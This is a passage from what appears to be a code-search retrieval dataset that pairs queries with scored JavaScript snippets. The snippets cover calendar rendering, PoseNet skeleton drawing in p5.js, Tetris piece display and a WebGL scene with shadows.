datecomplete: ''\n });\n target.prepend(dayHTML);\n }\n }\n\n var datecomplete = moment({ year: mom.year(), month: mom.month(), day: i});\n var obj = {\n day: i,\n datecomplete: datecomplete.format('YYYY-MM-DD')\n }\n var dayHTML = compiled(obj);\n target.append(dayHTML);\n\n if (weekDay == 5) {\n var day = $('.day[data-datecomplete=\"' + obj.datecomplete + '\"]');\n day.addClass('grey');\n }\n\n if (weekDay == 6) {\n $('.day[data-datecomplete=\"' + obj.datecomplete + '\"]').addClass('red');\n }\n\n }\n\n getHolidays(month, year);\n\n}", "title": "" }, { "docid": "a5d6e916530a5e359888dd6a81c161cf", "score": "0.5774955", "text": "function printDay($dateDay, $dateToday, $month){\r\n\t\tvar div = document.createElement('div');\r\n //($dateDay == $dateToday) ? div.className = 'col-md-1 today' : div.className = 'col-md-1';\r\n\t\t($dateDay == $dateToday) ? div.className = options.tpl.grid.CellTplClass + ' today' : div.className = options.tpl.grid.CellTplClass;\r\n\t\t//($dateDay == $dateToday) ? div.classList.add(options.tpl.grid.CellTplClass) : div.classList.add(options.tpl.grid.CellTplClass);\r\n\t\tdiv.setAttribute('data-day', $dateDay);\r\n\t\tdiv.setAttribute('data-month', $month);\r\n div.innerHTML= $dateDay;\r\n return div;\r\n } //func that print the days. $dateDay - this date input. $dateToday - if its in shedule.", "title": "" }, { "docid": "9c5c6388a635ee573181dfa6717a9ed3", "score": "0.57636034", "text": "function get_calendar(day_no, days){\r\n // Create calendar\r\n var table = document.createElement('table');\r\n var tr = document.createElement('tr');\r\n // Row for week days\r\n for(var c=0 ; c<=6 ; c++){\r\n var td = document.createElement('td');\r\n td.innerHTML = \"SMTWTFS\"[c]\r\n tr.appendChild(td);\r\n }\r\n table.appendChild(tr);\r\n // First row of days\r\n tr = document.createElement('tr')\r\n var c;\r\n for(c=0 ; c<=6 ; c++){\r\n if (c == day_no){\r\n break;\r\n }\r\n var td = document.createElement('td');\r\n td.innerHTML = \"\",\r\n tr.appendChild(td);\r\n }\r\n // Count amount of printed days\r\n var count = 1;\r\n for( ; c<=6; c++){\r\n var td = document.createElement('td');\r\n td.innerHTML = count;\r\n count++;\r\n tr.appendChild(td);\r\n }\r\n table.appendChild(tr);\r\n for(var r=3 ; r<=6; r++){\r\n tr = document.createElement('tr');\r\n for(var c=0 ; c<=6 ; c++){\r\n if(count > days){\r\n table.appendChild(tr);\r\n return table;\r\n }\r\n var td = document.createElement('td');\r\n td.innerHTML = count;\r\n count++\r\n tr.appendChild(td);\r\n }\r\n table.appendChild(tr);\r\n }\r\n}", "title": "" }, { "docid": "d42c58855bda94b106e70523b93e23bf", "score": "0.57618296", "text": "constructor(calendarCount, views, date) {\n this.calendarCount = calendarCount;\n this.views = views;\n this.currDate = date;\n this.todayDate = new Date(date);\n this.weeksList = [];\n this.beginDate;\n this.endDate;\n this.beginCellEl;\n this.endCellEl;\n\n this.beginViewIdx;\n this.endViewIdx;\n this.beginCellIdx;\n this.endCellIdx;\n }", "title": "" } ]
80469dd4c80c5b999a0a8e9b3c22a758
A function to draw the skeletons
[ { "docid": "ccfca1482f020e86e9a8efa6f7b71d6d", "score": "0.5812336", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < pose.length; i++) {\n let skeleton = pose[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke('red');\n strokeWeight(1);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" } ]
[ { "docid": "66f8b067729a496ea17a4c19bf29c29a", "score": "0.6838616", "text": "function drawSkeletons(keypoints, minConfidence, ctx, scale = 1) {\r\n\t\r\n\t//console.log(keypoints);\r\n\t\r\n\t//left elbow joint start\r\n\tif(compareLeftElbow(keypoints[5].position,keypoints[7].position,keypoints[9].position)==1){\r\n\t\tcolors='green';\r\n\t\t\r\n\t}\r\n\telse{\r\n\t\tcolors='black';\r\n\t}\r\nif(keypoints[5].score >= minConfidence && keypoints[7].score >= minConfidence){ \r\n\t\t\r\ndrawSegments(toTuple(keypoints[5].position),\r\n toTuple(keypoints[7].position), colors, scale, ctx);\r\n}\r\nif(keypoints[7].score >= minConfidence && keypoints[9].score >= minConfidence){ \r\n\t\t\t \r\ndrawSegments(toTuple(keypoints[7].position),\r\n toTuple(keypoints[9].position), colors, scale, ctx);\r\n\t \r\n}\r\n\t\t\r\n\t// left elbow joint ends\r\n\t\r\nif(keypoints[6].score >= minConfidence && keypoints[8].score >= minConfidence){ \r\n\t\t\t\r\n\t//right elbow joints\r\n\tdrawSegments(toTuple(keypoints[6].position),\r\n toTuple(keypoints[8].position), color, scale, ctx);\r\n}\r\nif(keypoints[8].score >= minConfidence && keypoints[10].score >= minConfidence){ \r\n\t\t\r\ndrawSegments(toTuple(keypoints[8].position),\r\n toTuple(keypoints[10].position), color, scale, ctx);\r\n\t //right elbow joints ends.\r\n} \r\n//right knee starts\r\nif(keypoints[12].score >= minConfidence && keypoints[14].score >= minConfidence){ \r\n\t\t\r\ndrawSegments(toTuple(keypoints[12].position),\r\n toTuple(keypoints[14].position), color, scale, ctx);\r\n}\r\nif(keypoints[14].score >= minConfidence && keypoints[16].score >= minConfidence){ \r\n\t\t \r\ndrawSegments(toTuple(keypoints[14].position),\r\n toTuple(keypoints[16].position), color, scale, ctx);\r\n} \r\n//right knee ends\r\n\r\n//left knee starts\r\nif(keypoints[11].score >= minConfidence && keypoints[13].score >= minConfidence){ \r\n\t\t\r\ndrawSegments(toTuple(keypoints[11].position),\r\n toTuple(keypoints[13].position), color, scale, ctx);\r\n}\r\nif(keypoints[13].score >= minConfidence && keypoints[15].score >= minConfidence){ \r\n\t\t\t \r\ndrawSegments(toTuple(keypoints[13].position),\r\n toTuple(keypoints[15].position), color, scale, ctx);\r\n\r\n}\r\n\r\n\r\n//left knee ends\r\nif(keypoints[5].score >= minConfidence && keypoints[6].score > minConfidence){ \r\n\t\t\t \r\ndrawSegments(toTuple(keypoints[5].position),\r\n toTuple(keypoints[6].position), color, scale, ctx);\r\n}\r\nif(keypoints[6].score >= minConfidence && keypoints[12].score >= minConfidence){ \r\n\t\t\r\ndrawSegments(toTuple(keypoints[6].position),\r\n toTuple(keypoints[12].position), color, scale, ctx);\r\n}\r\nif(keypoints[11].score >= minConfidence && keypoints[12].score >= minConfidence){ \r\n\t\t\t \r\ndrawSegments(toTuple(keypoints[11].position),\r\n toTuple(keypoints[12].position), color, scale, ctx);\r\n}\r\nif(keypoints[5].score >= minConfidence && keypoints[11].score >= minConfidence){ \r\n\t\t \r\ndrawSegments(toTuple(keypoints[5].position),\r\n toTuple(keypoints[11].position), color, scale, ctx);\r\n}\r\n\t \r\n}", "title": "" }, { "docid": "f1916bc7179fc4c65b326b52e607fe9a", "score": "0.65594524", "text": "function draw() {\n background(0);\n sun.show();\n mercury.show();\n venus.show();\n earth.show();\n mars.show();\n jupiter.show();\n saturn.show();\n uranus.show();\n neptune.show();\n pluto.show();\n run();\n}", "title": "" }, { "docid": "8bdee3706307f535bd13a70f3392c091", "score": "0.6476484", "text": "function draw() {\n background(bgColor);\n Shape.displayAllShapes();\n}", "title": "" }, { "docid": "033978d7f7e58f187a39a3981fb5f6e4", "score": "0.6285131", "text": "function drawSkeleton() {\r\n // Loop through all the skeletons detected\r\n for (let i = 0; i < poses.length; i++) {\r\n // For every skeleton, loop through all body connections\r\n for (let j = 0; j < poses[i].skeleton.length; j++) {\r\n let partA = poses[i].skeleton[j][0];\r\n let partB = poses[i].skeleton[j][1];\r\n stroke(255, 0, 0);\r\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\r\n lineWidth = 5;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "b582b77003bc5e21868532c7f2c15f2c", "score": "0.62711674", "text": "function draw () {\n\n background ( 220 );\n\n for ( var i = 0; i < pyramids.length; ++i ) {\n pyramids[i].render();\n }\n\n}", "title": "" }, { "docid": "eba1e829be55b0ed34bf5741ba9a9d3f", "score": "0.61887145", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n strokeWeight(5);\n stroke(random(0,255), random(0,255), random(0,255));\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "4cde5a9e5de2a3f67154841b96bce420", "score": "0.61730826", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(0, 0, 255);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "a1f5054b8acbe95eb7ebe5a5d2406cfc", "score": "0.61691386", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n sketch.stroke(255, 0, 0);\n sketch.line(\n partA.position.x,\n partA.position.y,\n partB.position.x,\n partB.position.y\n );\n }\n }\n }", "title": "" }, { "docid": "025c4db80f7f452d4ecba4dff7562c23", "score": "0.61282563", "text": "draw() {\n\t}", "title": "" }, { "docid": "9be379dfc8ac544df69938b488bf1f54", "score": "0.61224777", "text": "draw() {\n \n }", "title": "" }, { "docid": "c52ca0ffd2928bc505154eb0add48e7b", "score": "0.61213934", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n // For every skeleton, loop through all body connections\n for (let j = 0; j < poses[i].skeleton.length; j++) {\n let partA = poses[i].skeleton[j][0];\n let partB = poses[i].skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "3a22b4bce2151914b5860d3b5e387ab3", "score": "0.61083513", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "8ddb0e2508554db6ca4247e518075208", "score": "0.61046684", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[0].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "fe0e4289c65901efd84cee982fba8bea", "score": "0.60936075", "text": "function draw() {\n clear() //Make the background transparent \n \n snacks.forEach(snack => {\n snack.collide();\n snack.move();\n snack.display();\n });\n}", "title": "" }, { "docid": "3ac362186117b9cd806752d47b33928d", "score": "0.6084213", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(\n partA.position.x,\n partA.position.y,\n partB.position.x,\n partB.position.y\n );\n }\n }\n}", "title": "" }, { "docid": "5737ad73c306e899a308a84a1bc55d86", "score": "0.60828346", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (var i = 0; i < poses.length; i++) {\n var skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (var j = 0; j < skeleton.length; j++) {\n var partA = skeleton[j][0];\n var partB = skeleton[j][1];\n stroke(255, 0, 0);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "b269977a846dbcce5d0cb19bc8e57da5", "score": "0.6077035", "text": "function draw() {\n\tnoTint();//ensures other images aren't affected by tints in other functions\n\tdrawBackground();\n\tslideshow();\n\tnoTint();\n\tdrawArtist();\n\tdrawMidLeft();\n\tdrawRight();\n\tslideControl();\n\ttrentonMakes();\n\t//drawBorders();\n}", "title": "" }, { "docid": "c341ffd320bf78ec78a4cbda161c6951", "score": "0.6069566", "text": "function draw() {\r\n image(video, 0, 0, width, height);\r\n drawKeypoints();\r\n drawSkeleton();\r\n //drawSquare();\r\n\r\n}", "title": "" }, { "docid": "7b456d7eaf2d9abceb87712ddbf594cc", "score": "0.60670096", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255, 0, 0);\n strokeWeight(4);\n line(\n partA.position.x,\n partA.position.y,\n partB.position.x,\n partB.position.y\n );\n }\n }\n}", "title": "" }, { "docid": "207517676f2f5c5deb8f72d35afd4775", "score": "0.60545784", "text": "function drawSnek() {\n snake.forEach(drawSnekChonk);\n}", "title": "" }, { "docid": "0120e6d3b7fba0fefc931c6702e3258f", "score": "0.60439026", "text": "function renderScarf(){\n for (i = 0; i < scarfShapes.length; i++){\n scarfShapes[i].render();\n }\n}", "title": "" }, { "docid": "e374e5ca9375844151b790fcdd5ce004", "score": "0.60412717", "text": "function reDraw() {\n for (var i = 0; i < objArray.length; i++) {\n objArray[i].color = randomColor();\n if (objArray[i].width) {\n objArray[i].draw(objArray[i].x, objArray[i].y, objArray[i].color, objArray[i].width, true);\n }\n else {\n objArray[i].draw(objArray[i].x, objArray[i].y, objArray[i].color, objArray[i].radius, true);\n }\n }\n behindTheScenesColor();\n}", "title": "" }, { "docid": "7b959653da0ab624f5acebd282813f04", "score": "0.6041151", "text": "function draw() {\n draw_board(width, height, board_color)\n draw_square (snake.x, snake.y, snake.color)\n draw_square(fruit.x, fruit.y,fruit.color)\n draw_snake()\n\n}", "title": "" }, { "docid": "51978c402ac1047332478840194251a7", "score": "0.6033411", "text": "draw() {}", "title": "" }, { "docid": "51978c402ac1047332478840194251a7", "score": "0.6033411", "text": "draw() {}", "title": "" }, { "docid": "c39789cba775ca76916251a5811d2d75", "score": "0.6014805", "text": "function drawSkeleton() {\n createCanvas(406, 720);\n // Loop through all the skeletons detected\n // context.clearRect(0, 0, canvas.width, canvas.height);\n\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(142, 165, 226);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "1322073494f1abfaca17016526f0b925", "score": "0.6014212", "text": "function draw() {\n\n \t// *************************************\n \t// LAMP, WINDOW, FAN\n \t// *************************************\n\t\n\tmyFan.displayFan();\n\n\t// myWindow.hoverOver();\n\n\tmyLamp.drive();\n\tmyLamp.createLampZone();\n\tmyLamp.displayLamp();\n\n if (myLamp.lampOn == true) {\n\t\tmyLamp.toggleLamp();\n\t}\n\telse if (myWindow.windowOn == true) {\n\t\tmyWindow.toggleWindow();\n\t} else {\n\t\tnoTint();\n\t\tcolorMode(RGB, 255);\n\t}\n\n\t// *************************************\n \t// HOVER HAND for BACKGROUND\n \t// *************************************\n\n\tif (myLamp.hoverOver == true) {\n\t\tif (myLamp.lampOn == false) {\n\t\t\tmyLamp.highlightLamp();\n\t\t}\n\t\tmouseOver();\n\t} else if (myWindow.hoverOver() == true) {\n\t\tif (myWindow.windowOn == false) {\n\t\t\tmyWindow.highlightWindow();\n\t\t}\n\t\tmouseOver();\n\t} else if (myFan.hoverOver() == true && myLamp.lampOn == false && myWindow.windowOn == false) {\n\t\tif (myFan.fanOn == false) {\n\t\t\tmyFan.highlightFan();\n\t\t}\n\t\tmouseOver();\n\t}\n\n\t// *************************************\n \t// OBJECT ARRAY\n \t// *************************************\n\n \tfor (var i = 0; i < objects.length; i++) {\n \t\tif (objects[i].obj.enter == true) {\n\t \t\tobjects[i].obj.drive();\n\t \t} else {\n\t \t// } else if (myLamp.lampOn == false && myWindow.windowOn == false && myFan.fanOn == false) {\n\t \t\tobjects[i].obj.drift();\n\t \t}\n \t\tobjects[i].obj.createZone();\n \t\tobjects[i].obj.displayObject();\n \t\t// objects[i].obj.hoverDisplayHand();\n \t\tobjects[i].obj.hoverResetDrift();\n\n \t}\n\n\t// *************************************\n \t// CRUMBS - enters bottom to top\n \t// *************************************\n\n\tif (myCrumbs.enter == true) {\n\t\tmyCrumbs.drive(); \n\t} else {\n\t\tmyCrumbs.drift();\n\t}\n\tmyCrumbs.createCrumbZone();\n\tmyCrumbs.displayCrumbs();\n\tmyCrumbs.hoverResetDrift();\n\n\n}", "title": "" }, { "docid": "e133e131afb98dc2ad984cc62cdd7303", "score": "0.6005256", "text": "function draw() {\r\n image(img, 0, 0, width, height);\r\n drawKeypoints();\r\n drawSkeleton();\r\n //drawSquare();\r\n\r\n}", "title": "" }, { "docid": "f50e2814b00e454a00fde7319d6e71d6", "score": "0.60043365", "text": "static DrawWireSphere() {}", "title": "" }, { "docid": "e84d7df4d731410044462a9e11a2922f", "score": "0.5977178", "text": "function drawSkeleton() {\n // Loop through all the skeletons detected\n for (let i = 0; i < poses.length; i++) {\n let skeleton = poses[i].skeleton;\n // For every skeleton, loop through all body connections\n for (let j = 0; j < skeleton.length; j++) {\n let partA = skeleton[j][0];\n let partB = skeleton[j][1];\n stroke(255);\n strokeWeight(1);\n line(partA.position.x, partA.position.y, partB.position.x, partB.position.y);\n }\n }\n}", "title": "" }, { "docid": "8a87803bf3b1413c0f5844350e830d04", "score": "0.59744865", "text": "function draw() {\n background(20, 95, 217);\n\n let xc = 50+ 50*sin(speed);\n let yc = 50 + 50*cos(speed);\n speed += speedSlider.value();\n\n drawShape(offscreen, xc, yc);\n\n for(let x = offscreen.width*.35; x < width; x += offscreen.width/1.5) {\n for(let y = offscreen.height-185; y < height; y += offscreen.height/1.5) {\n imageMode(CENTER);\n image(offscreen, x, y);\n }\n }\n\n}", "title": "" }, { "docid": "530cf4d040da4abcdb9a3c2c286224c4", "score": "0.59679365", "text": "draw() {\n }", "title": "" }, { "docid": "c25cee1c803f1b8794d45b32ed8683c4", "score": "0.5967895", "text": "function draw() {\n current.forEach(index => {\n squares[currentPosition + index].classList.add('shape')\n squares[currentPosition + index].style.backgroundColor = colors[randomShape]\n })\n }", "title": "" }, { "docid": "b4ff2a76a9dcb39678678872b3d268f5", "score": "0.5962355", "text": "function displayShape(){\n //remove any trace of\n displaySquares.forEach(square =>{\n square.classList.remove('tetromino');\n square.style.backgroundColor = '';\n });\n upNextTetrominoes[nextRandom].forEach(index =>{\n displaySquares[displayIndex + index].classList.add('tetromino');\n displaySquares[displayIndex + index].style.backgroundColor = colors[nextRandom];\n \n });\n }", "title": "" }, { "docid": "b16be2b65cfd81199c5277912fe0c6c4", "score": "0.59580326", "text": "draw () {}", "title": "" }, { "docid": "b16be2b65cfd81199c5277912fe0c6c4", "score": "0.59580326", "text": "draw () {}", "title": "" }, { "docid": "6fbdc5ace5d3cc591bb02d4d4159c2f5", "score": "0.5957441", "text": "function drawSts(){\n drawClip(ctx);\n for(var y = 0; y<imgHeight;y++){\n for(var x=0; x<imgWidth; x++){\n var color = oneBitImg[x+(imgWidth*y)] === 0 ? color1 : color2;\n knit(x*sWidth+90+(offsetX*sWidth),y*(sHeight-dip)+10+(offsetY*(sHeight-dip)), color);\n }\n }\n}", "title": "" }, { "docid": "402c98eebf9e1fc9ff60461c0f4f19f1", "score": "0.5951948", "text": "function draw() {\n overlays.forEach(function(overlay) {\n overlay.render()\n })\n raf(draw)\n}", "title": "" }, { "docid": "89901d881a4e87bd80ef6ee3bdee7063", "score": "0.5950408", "text": "draw(){\n }", "title": "" }, { "docid": "49c8adeb9aa80dff5fdd280602b655c0", "score": "0.59503305", "text": "function draw() {\r\n //changes the color smoothly using color(hue, sat, lightness)\r\n //(360, 100, 100) -> (360, 10-50, 40-80)\r\n background(color(frameCount / 6 % 360, 30 + 20 * noise(frameCount / 500), 60 + 20 * noise((frameCount + 10) / 200)));\r\n\r\n let power = createVector(sliders[0].value(), sliders[1].value(), sliders[2].value());\r\n boids.forEach(boid => boid.run(power));\r\n\r\n if (boids.length > 200)\r\n boids.splice(random(boids.length), 1);\r\n}", "title": "" }, { "docid": "f7b733f7efdf58e495b0e7fdf73d5778", "score": "0.594173", "text": "function draw() {\n stroke(0, 0, 0);\n strokeWeight(2);\n \n for (let i = 0; i < jeremphys.length; i++) {\n jeremphys[i].update();\n jeremphys[i].show();\n }\n\n // jeremphy prime code\n // fill((x2/windowWidth * 255), (y3/windowHeight * 255), (x4/windowWidth * 255));\n // quad(x1, y1, x2, y2, x3, y3, x4, y4);\n\n /* val = int(random(0, 8));\n\n switch(val) {\n case 0:\n x1 = x1 + random(0, 15);\n break;\n case 1:\n y1 = y1 + random(0, 15);\n break;\n case 2:\n x2 = x2 + random(0, 15);\n break;\n case 3:\n y2 = y2 + random(0, 15);\n break;\n case 4:\n x3 = x3 + random(0, 15);\n break;\n case 5:\n y3 = y3 + random(0, 15);\n break;\n case 6:\n x4 = x4 + random(0, 15);\n break;\n case 7:\n y4 = y4 + random(0, 15);\n break;\n default:\n // garbage state, if you end up here you are a failure. I live here. Welcome to my home.\n }*/\n\n}", "title": "" }, { "docid": "a607ce044163cc1892b9b7c519de7c36", "score": "0.5941058", "text": "function draw() {\n current.forEach(index => {\n squares[currentPos + index].classList.add('tetromino')\n squares[currentPos + index].style.backgroundColor = colors[randomShape]\n })\n }", "title": "" }, { "docid": "49206d3a9877f137fd026da5d1795f72", "score": "0.5940338", "text": "function drawSphere() {\n setMV();\n Sphere.draw();\n}", "title": "" }, { "docid": "cb67ba345fe6f9dab7312845796b62d2", "score": "0.59277326", "text": "draw() {\n this.context.clearRect(0, 0, this.gameWidth, this.gameHeight);\n this.backgroundGameObjects.forEach(GameObject =>\n GameObject.draw(this.context)\n );\n this.drawParachutists();\n this.foregroundGameObjects.forEach(GameObject =>\n GameObject.draw(this.context)\n );\n }", "title": "" }, { "docid": "d9e9a0cdd0caf20131be956025e60996", "score": "0.59251636", "text": "function start() { \n map = new Array(64); \n setHeaderSidesFooter(); \n addSquares();\n showFigures('rnbqkbnrpppppppp11111111111111111111111111111111PPPPPPPPRNBQKBNR');\n setDraggable ();\n}", "title": "" }, { "docid": "9c0c26172952ba31da6da14af54fb293", "score": "0.59137607", "text": "function displayShape() {\n displayShapeRemove();\n\n for(let i = 0; i< tetrominosNextRandom.length; i++){\n upNextTetrominoes[tetrominosNextRandom[i]].forEach( index => {\n displaySquares[displayIndex + index].classList.add('tetromino');\n displaySquares[displayIndex + index].style.backgroundColor = colors[tetrominosRandomColor[i]]; \n })\n displayIndex += secondDisplayIndex;\n }\n displayIndex = 0;\n \n }", "title": "" }, { "docid": "b688bbb94545d1302508a5e8f833689d", "score": "0.5904834", "text": "display(){\r\n//set a suitable color for the outline\r\nstrokeWeight(this.r / 10);\r\n//set a suitable color for the outline\r\nstroke(\"black\");\r\n//set a suitable color of the object\r\nfill(\"white\");\r\n//create a specific shpe's blueprint\r\nellipse(this.x, this.y, this.r);\r\n}", "title": "" }, { "docid": "0a5c2617bf225edaad6dabe5ede2af47", "score": "0.59043676", "text": "draw() {\n\n }", "title": "" }, { "docid": "ea975c8f9fc7363e82015c0108e91637", "score": "0.59014124", "text": "draw_map1(graphics_state)\r\n {\r\n let pos = Mat4.identity();\r\n this.shad_bound_box = []; //reset the shadow boundary box every iteration\r\n //Jacob - the second draw of all the buildings and players are the shadow maps\r\n // the road\r\n pos = pos.times(Mat4.translation([-3.5,-9.05,40]))\r\n .times(Mat4.scale([3.5,5,100]))\r\n .times(Mat4.rotation(Math.PI / 2, Vec.of(0, 1, 0))).times(Mat4.translation([1, 1, 1]));\r\n this.shapes.body.draw(graphics_state, pos, this.materials.suns.override( {color: Color.of(0.5, 0.5, 0.5, 1)},{ambient:0,specular:1,gouraud:false} ));\r\n // the grass to the right\r\n pos = pos.times(Mat4.scale([1,1,8])).times(Mat4.translation([0, -0.01, 1.125]))\r\n this.shapes.body.draw(graphics_state, pos, this.materials.suns.override( {color: Color.of(0.5, 1, 0.5, 1)},{ambient:0,specular:1,gouraud:false} ));\r\n\r\n // the grass to the left\r\n pos = pos.times(Mat4.translation([0, 0, -2]))\r\n this.shapes.body.draw(graphics_state, pos, this.materials.suns.override( {color: Color.of(0.5, 1, 0.5, 1)}, {ambient:0,specular:1,gouraud:false}));\r\n\r\n // the cave\r\n pos = Mat4.identity().times(Mat4.scale([3.5,3.2,3])).times(Mat4.translation([0,0,-6]));\r\n this.shapes.sub4.draw(graphics_state, pos, this.materials.suns.override( {color: Color.of(0.5, 0.25, 0, 1)},{ambient:0,specular:1,gouraud:false} ));\r\n //this.shapes.sub4.draw(graphics_state,pos,this.materials.shadow)\r\n \r\n //the cave entrance\r\n pos = Mat4.identity().times(Mat4.scale([2.5,3,3])).times(Mat4.translation([0,0,-5.6]));\r\n this.shapes.sub4.draw(graphics_state, pos, this.materials.suns.override( {color: Color.of(0, 0, 0, 1)},{ambient:0,specular:1,gouraud:false} ));\r\n //this.shapes.sub4.draw(graphics_state,pos,this.materials.shadow)\r\n \r\n /* the green building : ALL BUILDINGS WILL FOLLOW THIS PROCESS\r\n There's two things to account for, first we have to realize that were drawing the model, so our\r\n transformation from model to the standard cube in dependencies is with the model_trans array\r\n Then from there we just pretend we are operating with the unit cube and do the following\r\n use transformations, draw building, draw shadow, then get the norms of the four sides not top and bottom\r\n then get the boundary info and push into shad_bound_box so we can decide whether player is in this \r\n buildings shadow later*/\r\n let model_trans = Mat4.identity().times(Mat4.scale([.825,1.125,1.75])); //This is how to scale the model to a cube\r\n pos = Mat4.identity().times(Mat4.translation([0,1,0])).times(Mat4.scale([1,2,2])).times(Mat4.translation([1,1,1]));\r\n \r\n //get the model pos and draw the model pos and draw the shadow of model, however all shadow_detection will operate on standard cube\r\n let model_pos = Mat4.identity().times(pos).times(model_trans);\r\n this.shapes.residential.draw(graphics_state, model_pos, this.materials.building);\r\n this.shapes.residential.draw(graphics_state,model_pos,this.materials.shadow);\r\n\r\n let faceNorms = getFaceNormals(pos); //Get the 